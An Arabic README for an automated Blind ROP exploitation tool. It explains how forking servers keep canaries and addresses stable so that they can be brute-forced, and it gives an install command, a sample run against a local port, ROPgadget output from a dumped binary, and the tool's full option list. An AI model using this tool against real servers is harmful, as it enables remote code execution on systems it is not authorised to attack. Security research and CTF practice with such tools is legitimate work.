
أداة استغلال آلية للـ Blind ROP
أداة استغلال Blind ROP تلقائية بلغة بايثون
BROP (Blind ROP) هي تقنية اكتشفها Andrew Bittau من جامعة ستانفورد في عام 2014.
معظم الخوادم مثل nginx و Apache و MySQL تقوم بعمل fork ثم تتواصل مع العميل. وهذا يعني أن الكناري والعناوين تبقى كما هي حتى في وجود ASLR و PIE. لذا يمكننا استخدام بعض القوة الغاشمة المدروسة لتسريب المعلومات ثم بناء استغلال فعال.
توجد 3 أمثلة مخصصة قابلة للاستغلال مقدمة في هذا المستودع. يمكنك تشغيلها مباشرة أو بناء Dockerfile

سيقوم BROPPER بعد ذلك بإلقاء البرنامج الثنائي:

ثم من الممكن استخراج جميع أدوات ROP من البرنامج الثنائي المُلقى باستخدام ROPgadget على سبيل المثال:
$ ROPgadget --binary dump
Gadgets information
============================================================
0x0000000000001177 : adc al, 0 ; add byte ptr [rax], al ; jmp 0x1020
0x0000000000001157 : adc al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x1020
0x0000000000001137 : adc byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x1020
...
...
...
0x0000000000001192 : xor ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 0x16 ; jmp 0x1020
0x000000000000182e : xor eax, 0x891 ; mov rdi, rax ; call rcx
0x0000000000001861 : xor eax, 0xffffff22 ; mov rdi, rax ; call rcx
Unique gadgets found: 235
لاستخدام هذا السكربت:
python3 -m pip install -r requirements.txt
python3 bropper.py -t 127.0.0.1 -p 1337 --wait "Password :" --expected Bad --expected-stop Welcome -o dump
$ python3 bropper.py -h
usage: bropper.py [-h] -t TARGET -p PORT --expected-stop EXPECTED_STOP --expected EXPECTED --wait WAIT -o OUTPUT [--offset OFFSET] [--canary CANARY] [--no-canary] [--rbp RBP] [--rip RIP] [--stop STOP]
[--brop BROP] [--plt PLT] [--strcmp STRCMP] [--elf ELF]
Description message
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
target url
-p PORT, --port PORT target port
--expected-stop EXPECTED_STOP
Expected response for the stop gadget
--expected EXPECTED Expected normal response
--wait WAIT String to wait before sending payload
-o OUTPUT, --output OUTPUT
File to write dumped remote binary
--offset OFFSET set a offset value
--canary CANARY set a canary value
--no-canary Use this argument if there is no stack canary protection
--rbp RBP set rbp address
--rip RIP set rip address
--stop STOP set stop gadget address
--brop BROP set brop gadget address
--plt PLT set plt address
--strcmp STRCMP set strcmp entry value
--elf ELF set elf address
نرحب بطلبات السحب (Pull requests). لا تتردد في فتح مشكلة (issue) إذا كنت ترغب في إضافة ميزات أخرى.